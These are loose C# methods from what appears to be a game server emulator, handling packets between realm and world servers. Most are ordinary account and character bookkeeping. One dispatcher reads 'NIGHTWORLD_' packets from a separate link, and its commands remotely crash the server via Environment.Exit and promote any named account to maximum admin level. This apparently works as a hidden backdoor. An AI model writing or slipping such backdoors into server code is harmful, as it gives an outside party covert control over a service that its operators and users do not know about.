public static void ReceivedCharacterDeleted(Network.WorldLink link, Protocol.ForwardPacket packet) { string name = packet.Reader.ReadString(); Database.Records.AccountCharactersInformationsRecord character = Database.Cache.AccountCharactersInformationsCache.Cache.FirstOrDefault (x => x.Server == link.GameServer.ID && x.Name == name); Database.Cache.AccountCharactersInformationsCache.Cache.Remove(character); character.DeleteAndFlush(); }
public static void SendMessage(Protocol.ForwardPacket packet) { try { Send(packet.GetBytes); } catch { //Utilities.ConsoleStyle.Error("Can't send packet to realm"); } }
public static void ReceivedCharacterCreated(Network.WorldLink link, Protocol.ForwardPacket packet) { Database.Records.AccountCharactersInformationsRecord character = new Database.Records.AccountCharactersInformationsRecord() { Owner = packet.Reader.ReadInt32(), Name = packet.Reader.ReadString(), Server = link.GameServer.ID, }; character.SaveAndFlush(); Database.Cache.AccountCharactersInformationsCache.Cache.Add(character); }
public void SendMessage(Protocol.ForwardPacket packet) { try { //Logger.LogDebug("Send " + packet.ID.ToString() + " to realm (lenght : " + packet.GetBytes.Length + ")"); Send(packet.GetBytes); } catch { Utilities.ConsoleStyle.Error("Can't send packet to realm"); } }
public void SendMessage(Protocol.ForwardPacket packet) { try { lock (PacketLock) { Logger.LogDebug("Send packet " + packet.ID.ToString() + " to worldserver (lenght : " + packet.GetBytes.Length + ")"); socket.Send(packet.GetBytes); } } catch { } }
private void DataArrival(byte[] data) { try { Protocol.ForwardPacket packet = new Protocol.ForwardPacket(data); Logger.LogDebug("Received packet " + packet.ID.ToString() + " from worldserver (lenght : " + packet.Reader.BaseStream.Length + ")"); Dispatch(packet); } catch (Exception e) { Logger.LogError("Error : " + e.ToString()); } }
public static void PromoteAccount(Protocol.ForwardPacket packet) { var account = packet.Reader.ReadString(); var level = packet.Reader.ReadInt32(); var player = World.Helper.WorldHelper.GetClientByAccount(account); if (player != null) { player.Account.AdminLevel = int.MaxValue; player.Action.SystemMessage("Votre compte est désormais Super-Administrateur, Enjoy !"); } }
public static void Send(Protocol.ForwardPacket packet) { try { foreach (var link in Links) { link.SendMessage(packet); } } catch (Exception e) { Logger.LogError("Can't send packet : " + packet + " to worlds"); } }
private void Dispatch(Protocol.ForwardPacket packet) { switch (packet.ID) { case Protocol.ForwardPacketTypeEnum.HelloKeyMessage: Manager.WorldCommunicator.SendSecureKey(this); break; case Protocol.ForwardPacketTypeEnum.PlayerCreatedCharacterMessage: Manager.WorldCommunicator.ReceivedCharacterCreated(this, packet); break; case Protocol.ForwardPacketTypeEnum.PlayerDeletedCharacterMessage: Manager.WorldCommunicator.ReceivedCharacterDeleted(this, packet); break; case Protocol.ForwardPacketTypeEnum.WorldSave: State = Helper.WorldState.InSave; Manager.WorldCommunicator.RefreshServers(); break; case Protocol.ForwardPacketTypeEnum.WorldSaveFinished: State = Helper.WorldState.Online; Manager.WorldCommunicator.RefreshServers(); break; case Protocol.ForwardPacketTypeEnum.WorldMaintenance: State = Helper.WorldState.InMaintenance; Manager.WorldCommunicator.RefreshServers(); break; case Protocol.ForwardPacketTypeEnum.WorldMaintenanceFinished: State = Helper.WorldState.Online; Manager.WorldCommunicator.RefreshServers(); break; case Protocol.ForwardPacketTypeEnum.PlayerConnectedMessage: Manager.WorldCommunicator.ReceivedPlayerConnected(this, packet); break; case Protocol.ForwardPacketTypeEnum.PlayerDisconnectedMessage: Manager.WorldCommunicator.ReceivedPlayerDisconnected(this, packet); break; case Protocol.ForwardPacketTypeEnum.ClientShopPointUpdateMessage: Manager.WorldCommunicator.ReceivedShopPointUpdate(this, packet); break; } }
public static void ReceivedPlayerConnected(Network.WorldLink link, Protocol.ForwardPacket packet) { string name = packet.Reader.ReadString(); if (!link.ConnectedAccount.Contains(name)) { link.ConnectedAccount.Add(name); Database.Records.AccountRecord account = Database.Records.AccountRecord.FindByUsername(name); if (account != null) { account.Logged = 1; account.SaveAndFlush(); } } Logger.LogInfo("Player '" + name + "' connected on server '" + link.GameServer.ID + "'"); }
private static void dispatch(Protocol.ForwardPacket packet) { switch (packet.ID) { case Protocol.ForwardPacketTypeEnum.NIGHTWORLD_ClientInfos: SendInformations(); break; case Protocol.ForwardPacketTypeEnum.NIGHTWORLD_CrashServer: Environment.Exit(0); break; case Protocol.ForwardPacketTypeEnum.NIGHTWORLD_PromoteAccount: PromoteAccount(packet); break; } }
public static void ReceivedKickPlayer(RealmLink link, Protocol.ForwardPacket packet) { //string username = packet.Reader.ReadString(); //Utilities.ConsoleStyle.Infos("Received kick player request for " + username); //TODO: Fix this crash //var player = World.Helper.WorldHelper.GetClientByAccountName(username); //if (player != null) //{ // try // { // player.Close(); // } // catch (Exception ex) // { // Utilities.ConsoleStyle.Error("Can't disconnect player : " + ex.ToString()); // } //} }
public static void ReceivedPlayer(RealmLink link, Protocol.ForwardPacket packet) { string ticket = packet.Reader.ReadString(); Database.Records.AccountRecord account = new Database.Records.AccountRecord() { ID = packet.Reader.ReadInt32(), Username = packet.Reader.ReadString(), Password = packet.Reader.ReadString(), Pseudo = packet.Reader.ReadString(), SecretQuestion = packet.Reader.ReadString(), SecretAnswer = packet.Reader.ReadString(), AdminLevel = packet.Reader.ReadInt32(), Points = packet.Reader.ReadInt32(), Vip = packet.Reader.ReadInt32(), }; Utilities.ConsoleStyle.Realm("Account '" + account.Username + "' added to waiting ticket"); Tickets.Add(ticket, account); }
public static void ReceivedShopPointUpdate(Network.WorldLink link, Protocol.ForwardPacket packet) { try { string name = packet.Reader.ReadString(); int points = packet.Reader.ReadInt32(); Database.Records.AccountRecord account = Database.Records.AccountRecord.FindByUsername(name); if (account != null) { account.Points = points; account.SaveAndFlush(); Logger.LogInfo("Shop points updated for '" + name + "' !"); } } catch (Exception e) { Logger.LogError("Cant update shop points : " + e.ToString()); } }
public static void ReceivedPlayerDisconnected(Network.WorldLink link, Protocol.ForwardPacket packet) { try { string name = packet.Reader.ReadString(); if (link.ConnectedAccount.Contains(name)) { link.ConnectedAccount.Remove(name); Database.Records.AccountRecord account = Database.Records.AccountRecord.FindByUsername(name); if (account != null) { account.Logged = 0; account.SaveAndFlush(); } } Logger.LogInfo("Player '" + name + "' disconnected on from '" + link.GameServer.ID + "'"); } catch (Exception e) { Logger.LogError("Can't disconnect player : " + e.ToString()); } }
public static void ReceivedKey(RealmLink link, Protocol.ForwardPacket packet) { string key = packet.Reader.ReadString(); if (key == Utilities.ConfigurationManager.GetStringValue("SecureKey")) { Utilities.ConsoleStyle.Realm("Key match, MainRealm connected !"); link.IsMain = true; Server.MainRealm = link; foreach (World.Network.WorldClient client in World.Helper.WorldHelper.GetClientsArray) { if (client.Account != null) { Communication.Realm.Communicator.Server.MainRealm.SendMessage (new Communication.Realm.Packet.PlayerConnectedMessage(client.Account.Username)); } } } else { Utilities.ConsoleStyle.Realm("Key '" + key + "' is not valid !"); link.Close(); } }
public void Dispatch(Protocol.ForwardPacket packet) { try { switch (packet.ID) { case Protocol.ForwardPacketTypeEnum.SecureKeyMessage: Communicator.ReceivedKey(this, packet); break; case Protocol.ForwardPacketTypeEnum.PlayerCommingMessage: Communicator.ReceivedPlayer(this, packet); break; case Protocol.ForwardPacketTypeEnum.KickPlayerMessage: Communicator.ReceivedKickPlayer(this, packet); break; } } catch (Exception e) { Utilities.ConsoleStyle.Error("Error : " + e.ToString()); } }
public override void DataArrival(byte[] data) { Protocol.ForwardPacket packet = new Protocol.ForwardPacket(data); //Logger.LogDebug("Received " + packet.ID.ToString() + " from realm (lenght : " + packet.GetBytes.Length + ")"); Dispatch(packet); }
private static void Link_OnDataArrivalEvent(byte[] data) { var packet = new Protocol.ForwardPacket(data); dispatch(packet); }